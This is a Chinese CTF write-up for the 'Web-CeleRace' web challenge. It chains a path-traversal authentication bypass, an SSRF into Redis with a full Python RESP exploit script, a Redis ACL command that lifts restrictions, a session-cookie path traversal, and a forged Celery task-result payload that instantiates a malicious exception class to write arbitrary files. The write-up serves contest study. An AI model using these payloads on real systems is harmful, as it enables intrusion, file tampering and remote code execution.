强网杯2025线上初赛wp

本文最后更新于:几秒前

Web-CeleRace

此题解纪念我被浪费的一整天时间,第一天结束前所有解题的先决条件已经具备,唯独没有意识到去CVE库中查找celery相关的历史漏洞,一直将思路卡死在框架的分析上。

这道题审计源码后,很明显的能够发现在/tasks/fetch/<path:target>下是存在一处SSRF的,乍一看似乎是发起http请求的SSRF,但是后续测试中,以打下redis为目标,猜测可以在verb字段进行一个伪造RESP数据流的包进行攻击,url字段只是提供一个目标ip

打下redis后进一步看了眼代码发现原来已经明确进行了定义了socket数据格式了(

总而言之就是尝试进入这个接口进行一个ssrf攻击

但是显而易见的,这个接口上存在一个flask的修饰器去进行一个鉴权。

这里是通过path传入参数因此有理由怀疑出题者的意图在于发现了一个WSGI处理逻辑上的缺陷绕制能直接步入接口中

绕过require_admin的思路很快锁定在了两个方向:

  • 黑盒FUZZ
  • 对framework中的框架代码进行debug,发现其中的处理缺陷

权限绕过

不幸的是,我选择了最耗时的白盒,因为这道题用字典去fuzz很容易搞出来

幸运的是运气很好很快就发现了问题的所在

先讲结论:访问/tasks/fetch/../即可绕过

在wrapper处打下一个断点发起一个/tasks/fetch/a接口的请求观察观察

回退一帧调用栈,注意到这里的handler是经过方法_wrap_with_middlewares()处理后的返回值

跟进去,这里调用了self._collect_route_middlewares()返回一个回调函数并传入view获得handler,跟进去看看处理逻辑

这里根据endpoint获取scoped

并且粗略看一眼能发现如果能走进for循环那么貌似就会根据我们的路径参数去获取一个中间件(下面会详细分析)

但是非常神奇的,self.route_middlewares中居然不包含queue_fetch

于是我们寻找对route_middlewares赋值的位置

这里由于rule_obj中包含尖括号,因此不往route_middlewares中插入,而是往wildcard_middlewares中记录

回到上面的_collect_route_middlewares()函数继续分析,上面提到由于queue_fetch不在route_middlewares中,因此scoped为空且self.wildcard_middlewares也被插值了不为空,不提前retuen,而是继续往下走

然后就走到了_normalize_path(path),路径normalize处理?,直觉告诉我这里可能会存在绕过

跟进去看看:

大致上的逻辑就是对路径url解码路径后再进行标准化处理,即处理掉./../

步出,然后继续往下走到self._pattern_matches()函数,这里的匹配表达式是/tasks/fetch/**,如果我们请求一个/tasks/fetch/aaa路由,必然会被匹配到从而返回一个识别require_login的中间件

如果足够敏锐的话,结合上面的路径标准化,应该很快就意识到,我们如果传入/tasks/fetch/../的话,那么这里既能跳过两个提前的return,经过标准化处理后路径变为/tasks/又可以绕过下面的路径匹配,到最后return一个空的scoped,来绕过require_login

那么我们不妨尝试一下传入/tasks/fetch/../看看结果如何

和我们预期的一样成功返回了一个空的scoped!而空的scoped就如同其他不需要鉴权的接口的表现一样

步出,因为scoped为空直接跳出了当前for循环,下面的self.middlewares发现不管怎么样都是空的也走不进,一路步过的表现如同不需要鉴权的接口一样

更令人惊喜的是后面直接走进了目标接口中,传入json字段url和verb也自然能够打SSRF了

SSRF

RESP协议的流量特征这里就不赘述了,网上诸多dict协议打redis的文章都有提到,这里直接写个脚本用来方便操作

贴个比赛期间用到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import json

import requests

URL = "https://eci-2zed7zlur1hylopm6jbc.cloudeci1.ichunqiu.com:5000"

def to_resp(command_line: str) -> str:
args = command_line.strip().split()
resp = f"*{len(args)}\r\n"
for arg in args:
resp += f"${len(arg)}\r\n{arg}\r\n"
return resp + "\r\n\r\n\r\n\r\n*3"

def exp(verb):
# print(verb)
r = requests.post(
url=URL+ "/tasks/fetch/%2e%2e%2f%61",
json={
"url": "dict://127.0.0.1:6379/",
"verb": verb
}
)
task_id = r.json().get('task_id')
# print(task_id)
r = requests.get(
url=URL+ "/tasks/result",
params={
"id": task_id
}
)
res = r.json().get('result').get('preview')
return res



if __name__ == "__main__":
while True:
cmd = input("redis-cli> ")
if cmd.lower() in ('exit', 'quit'):
break
resp_str = to_resp(cmd)
res = exp(resp_str)
print(res)

前面SSRF探测过环境不可出网,且在redis.acl中发现对CONFIG这类指令权限控制的是挺死的,虽然可以直接用ACL指令关掉限制

1
ACL SETUSER default on ~* +@all nopass

但是redis版本过高,无法直接在redis-cli中修改dir、dbfilename等保护属性,也打不了前段时间的redis UAF

恶意类

整个代码让ai帮忙分析后,不难发现一个类DiagnosticsPersistError,这个类是一个自定义的Error类,但是很明显在整个项目中都没有使用到它,而且它的功能也非常可疑:

它的_maybe_persist方法中,很明显的存在一个任意文件写的点

并且可以看到在它的构造方法中去调用了这个可疑的方法,但是存在一个条件,就是需要写/tmp/debug这个文件

写文件

拿到redis权限后,又要写文件,这里的第一反应应该是使用config set去设置redis的数据库来写文件,但是我们在上面已经提到了由于redis版本过高这是行不通的。那怎么办呢?

我们将视角切换到框架中,寻找有没有其他地方可以写文件

很快我们会发现存在这样一个FileSessionManager类,用来将session持久化保存在磁盘中

保存session文件会调用下面这个方法,最终保存路径为path

而我们去看看path的处理逻辑,非常明显的,这里存在一个路径拼接的漏洞

怎么去控制这个路径呢,实际上很容易发现就是将mini_session这个cookie的值改为../debug即可

未能实现的最后一步

到目前为止实际上最大的问题就是如何去实例化那个DiagnosticsPersistError,如果能够实例化它其实已经有很明确的思路就是写pycache去执行任意代码了,但是如何触发呢

联系到题目给出的celery,搜索引擎中搜索一下实际上只能搜到Celery<4.0时的一个漏洞,至于大于4.0的,赛时应当在CVE数据库中去寻找相关漏洞的

https://security.snyk.io/vuln/SNYK-PYTHON-CELERY-2314953

本地尝试运行给出的poc,发现提示报错,即需要实例化的类必须是一个exception

你说这不巧了么,题目中给的这个可疑的类不正好是RuntimeError么

进行一个小改

然后debug,成功实例化

全局搜一下exception_to_python()的用法,发现在包内的backend/redis.py中存在以下逻辑,当state为几种情况时就会触发反序列化逻辑

详细地跟进看一下,实际上就是status为下面这几种情况的时候报错

我们详细地分析一下一个正常的任务的序列化数据的格式:

1
{\"status\": \"SUCCESS\", \"result\": {\"echo\": \"\"}, \"traceback\": null, \"children\": [], \"date_done\": \"2025-10-22T14:06:19.101764\", \"task_id\": \"87f568c4-c4c7-4a1d-abff-0789ac93e634\"}

这里合理猜测将status改为FAILURE,result改成我们预设的恶意payload

1
2
set celery-task-meta-c97ffe34-55b5-42cb-ba6e-2a2f0b1e1d83 
"{\"status\": \"RETRY\", \"result\": {\"exc_module\":\"framework.app\", \"exc_type\":\"DiagnosticsPersistError\", \"exc_message\":\"7b0d0a202020202270617468223a20222f746d702f7465737474747474222c0d0a20202020226d6f6465223a202277222c0d0a2020202022656e636f64696e67223a20227574662d38222c0d0a2020202022636f6e74656e74223a2022706f7461746f206861636b6564220d0a7d0d0a\"}, \"traceback\": null, \"children\": [], \"date_done\": \"2025-10-22T13:44:29.666046\", \"task_id\": \"a54c7188-7818-48f0-afe2-b915aabaf38c\"}"

触发一下

成功上传testtttt

后续在复盘的时候,发现了一件事

实际上不需要去查找CVE,让ai帮忙写了个简单celery的本地demo:

1
2
3
4
5
6
7
8
9
10
11
12
#run_task.py
from tasks import add

# 提交异步任务
result = add.delay(4, 6)

print("任务已提交,等待结果中...")
print("任务 ID:", result.id)

# 获取结果
print("结果:", result.get(timeout=10))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#tasks.py
from celery import Celery

# 创建 Celery 实例
app = Celery(
"demo",
broker="redis://localhost:6379/1", # Redis 作为消息中间件
backend="redis://localhost:6379/1" # Redis 存储结果
)

@app.task
def add(x, y):
return x + y

然后终端:

1
celery -A tasks worker --loglevel=info

再将run_tasks.py跑起来

哐当一下报错了

然后不经意间查了下内容:

遗憾呐!